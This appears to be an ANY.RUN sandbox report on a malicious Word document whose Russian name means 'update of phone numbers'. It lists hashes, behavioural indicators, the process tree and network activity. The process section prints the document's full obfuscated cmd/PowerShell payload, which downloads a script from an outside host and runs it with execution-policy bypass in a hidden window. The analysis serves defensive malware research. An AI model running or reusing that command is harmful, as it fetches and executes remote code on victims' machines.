File name:

обновление телефонных номеров.docx

Full analysis: https://app.any.run/tasks/c5d67159-01a7-44c4-889a-86e6e2b19a6e
Verdict: Malicious activity
Analysis date: May 15, 2025, 13:48:49
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
ole-embedded
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

73954F87FB435FF564AACF1F8F71885B

SHA1:

9BCD595AA7564EB17D11699040E597D027C2BABC

SHA256:

0E356692E0BD6D1770998466C4F7BDA1BB1DE48022D98B1EC899E80DB4B166D5

SSDEEP:

768:b2y9h4+FQmeeFFEwu+h5HkWfsZjypfWfnaYU6zP+mc4jmWclca5+:b2y9h6meeFpuEkWfsZwWbUOOC5

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from MS Office

      • WINWORD.EXE (PID: 896)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 7952)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 8020)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 8020)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 8020)

  • SUSPICIOUS

    • Uses RUNDLL32.EXE to load library

      • WinRAR.exe (PID: 7572)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7572)

    • Application launched itself

      • cmd.exe (PID: 7772)
      • cmd.exe (PID: 7952)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 7772)
      • rundll32.exe (PID: 7668)
      • cmd.exe (PID: 7952)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7952)

    • Process run an executable payload

      • rundll32.exe (PID: 7668)

  • INFO

    • Reads security settings of Internet Explorer

      • splwow64.exe (PID: 7432)
      • rundll32.exe (PID: 7668)

    • Reads Microsoft Office registry keys

      • WinRAR.exe (PID: 7572)

    • Disables trace logs

      • powershell.exe (PID: 8020)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 8020)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 8020)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xa12c8f6b
ZipCompressedSize: 454
ZipUncompressedSize: 2012
ZipFileName: [Content_Types].xml

XMP

Title: -
Subject: -
Description: -

XML

Keywords: -
CreateDate: 2025:04:29 22:59:00Z
ModifyDate: 2025:05:15 00:03:00Z
Template: Normal.dotm
TotalEditTime: 2.4 hours
Pages: 1
Words: 48
Characters: 277
Application: Microsoft Office Word
DocSecurity: None
Lines: 2
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 324
SharedDoc: No
HyperlinksChanged: No
AppVersion: 14
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
143
Monitored processes
13
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winword.exe sppextcomobj.exe no specs slui.exe no specs ai.exe no specs splwow64.exe no specs winrar.exe no specs rundll32.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe winword.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
496"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "7531B1FF-6107-41B3-859C-F397654561E9" "F727DD8B-83F2-4DC7-92A5-0878697916AA" "896"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64.
Version:
0.12.2.0
Modules
Images
c:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\ai.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
896"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\обновление телефонных номеров.docx" /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
3100"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5680C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7204"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb7572.27339\2.обновление телефонных номеров.docx" /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
7432C:\WINDOWS\splwow64.exe 8192C:\Windows\splwow64.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Print driver host for applications
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\splwow64.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7572"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\{666BD6D8-7199-449C-9C34-63B672F428EE}\{AE712E07-2B50-442A-B4F6-339F9D895A13}\2025.rar"C:\Program Files\WinRAR\WinRAR.exe—WINWORD.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7668"C:\Windows\System32\rundll32.exe" Shell32.DLL,ShellExec_RunDLL C:\WINDOWS\system32\cmd.exe /c set p1=-e&&set p3=p B&&set p4=Y&&set p5=Pa&&set p6=sS&&set p7=power&&set p8=shell&&C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 ^| %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\rundll32.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
7772"C:\WINDOWS\system32\cmd.exe" /c set p1=-e&&set p3=p B&&set p4=Y&&set p5=Pa&&set p6=sS&&set p7=power&&set p8=shell&&C:\WINDOWS\system32\cmd.exe /c echo sal a New-Object;$wa=a `Ne`T.`Web`Cli`ent;$wa.HeadeRS.ADd('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko');[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$wa.DownloadFile('htt'+'ps://'+'trade.'+'EuroExch'+'anges.com'+'/s=192254+'+'5424034287*r=vz1'+'sNy6bc0W'+'W3gG1bQ3nhLD0Yv+TF/kt6i==', "C:\Users\admin\AppData\Local\Temp\YOqaB.ps1");C:\Users\admin\AppData\Local\Temp\YOqaB.ps1 ^| %p7%%p8% %p1%%p3%%p4%%p5%%p6% -w 1 -file -C:\Windows\System32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
7804\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
25 697
Read events
25 300
Write events
372
Delete events
25

Modification events

(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common
Operation:writeName:SessionId
Value:
BEEB9BCD50637E4485330166A5F5B62E
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\GracefulExit\WINWORD\2200
Operation:delete valueName:0
Value:
ซ鴐㝅娴Ꝇ힬꿹�䙔�닜樁င$驄摽鶲…ީ湕湫睯쥮Ȇ∢්ł¢ᣂ숁씀褎예됏죃캲ǭ჉砃㐶ᇅᆘዒ看椀渀眀漀爀搀⸀攀砀攀씀‖ៅ肀줄࠘㈲㈱䐭捥
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\GracefulExit\WINWORD\2200
Operation:delete keyName:(default)
Value:
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\896
Operation:writeName:0
Value:
0B0E107FB31BA57B0F6C4A87FE6B770BCB2C4923004684B1ECDC81B4F1ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C50E8908C91003783634C5118007D2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems
Operation:writeName:34*
Value:
33342A008003000004000000000000009412D91BA0C5DB018C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems
Operation:delete valueName:34*
Value:
㐳*΀
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.16026&crev=3\0
Operation:writeName:FilePath
Value:
officeclient.microsoft.com\4E2D66AA-4D18-45CD-8106-2658146EA870
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.16026&crev=3\0
Operation:writeName:StartDate
Value:
A0ADE91BA0C5DB01
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.16026&crev=3\0
Operation:writeName:EndDate
Value:
A06D534669C6DB01
(PID) Process:(896) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming
Operation:writeName:RoamingConfigurableSettings
Value:
DC00000000000000803A0900E907050004000F000D0030003B00B100000000000000000000000000201C0000201C00008051010080510100805101008051010080F4030080F4030080F403002C01000084030000805101000000000084030000805101000A0000001E0000001E000000000000000000000080510100010000000100000000000000000000000000000000000000008D2700008D2700008D2700010000000A000000805101000000300000003000000030000000000084030000805101001E0000008403000080510100050000000500000005000000
Executable files
33
Suspicious files
129
Text files
21
Unknown types
0

Dropped files

PID
Process
Filename
Type
896WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:CBAF1DDE6330F49CBA15EB500E889705
SHA256:12F34AF7D0432831A1BD0C33E931A56AE0073DC21DE26F937695CBF74D2DC5A2
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\msoCB70.tmpdocument
MD5:3F09E0CC3A073BADF0CB8D5CA9FBB75F
SHA256:72E5BD8E0B323B1DF3B48669F85710B645D92F13FEB5A48EDD9AD081B3E19F08
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:8229843A7E5794255AD4F82F2A836C3E
SHA256:80D419869CD188ADDAB1D82CE01337D8890C8FCF19981B60DB88605E351AB1AB
896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$новление телефонных номеров.docxbinary
MD5:0022CE1002CD80EC4F42AAC971D3B4B8
SHA256:A370DEAE2E23761BCA04D35301A8400964F6E9FEF7FF62684A3711C6FAB5C187
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbresbinary
MD5:FBF4B8AA452BF6A055349A681FE212FF
SHA256:F3CEF78AF238479B2BC29EF55F1DFE3DAA90A8F640F6C4E2C2D86756C8106314
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bintext
MD5:CC90D669144261B198DEAD45AA266572
SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bintext
MD5:9D1290AFAEF61F6A4713AC4776CF4E64
SHA256:1BAB4BDAF84592FB20ED9FC3494042E63D57302285E13E390EDBAB302C9136ED
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\4E2D66AA-4D18-45CD-8106-2658146EA870xml
MD5:D8686BAB63709DFBCA4FE6988E3769D5
SHA256:1E564745B54CE0D846BBDBEBBE704D48F5F6D8B234B44890A32D7ED13C664C6B
896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{666BD6D8-7199-449C-9C34-63B672F428EE}\{AE712E07-2B50-442A-B4F6-339F9D895A13}\2025.rarcompressed
MD5:37B846A7AF2CA5FD4A037C57C108829B
SHA256:F53E8AF08062C237E6557659B9AD6451F4C28B81DBDD56B8F0355F56E8A2EC91
896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStoreV3\Word\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.Sbinary
MD5:B195FE65D6FFA4BF181D8CF6272C8343
SHA256:806490B31F428744E5F32A2A71F829F21D1C34FAD8B272173A992430AC64D426
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
13
TCP/UDP connections
55
DNS requests
25
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.169:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
23.48.23.181:80
http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
23.48.23.181:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
23.48.23.181:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
23.48.23.181:80
http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
unknown
—
—
whitelisted
896
WINWORD.EXE
GET
200
23.48.23.181:80
http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
23.48.23.169:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
—
—
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
896
WINWORD.EXE
52.109.32.97:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
whitelisted
896
WINWORD.EXE
52.123.131.14:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
896
WINWORD.EXE
23.48.23.30:443
omex.cdn.office.net
Akamai International B.V.
DE
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.169
  • 23.48.23.180
  • 23.48.23.177
  • 23.48.23.157
  • 23.48.23.176
  • 23.48.23.160
  • 23.48.23.181
  • 23.48.23.164
  • 23.48.23.159
  • 23.48.23.185
  • 23.48.23.190
  • 23.48.23.191
  • 23.48.23.184
  • 23.48.23.187
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
google.com
  • 216.58.206.78
whitelisted
officeclient.microsoft.com
  • 52.109.32.97
whitelisted
ecs.office.com
  • 52.123.131.14
  • 52.123.130.14
whitelisted
omex.cdn.office.net
  • 23.48.23.30
  • 23.48.23.11
  • 23.48.23.42
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 40.126.31.2
  • 20.190.159.128
  • 20.190.159.0
  • 20.190.159.4
  • 40.126.31.130
  • 40.126.31.69
  • 20.190.159.68
  • 40.126.31.73
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
fs.microsoft.com
  • 23.212.222.21
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
обновление телефонных номеров.docx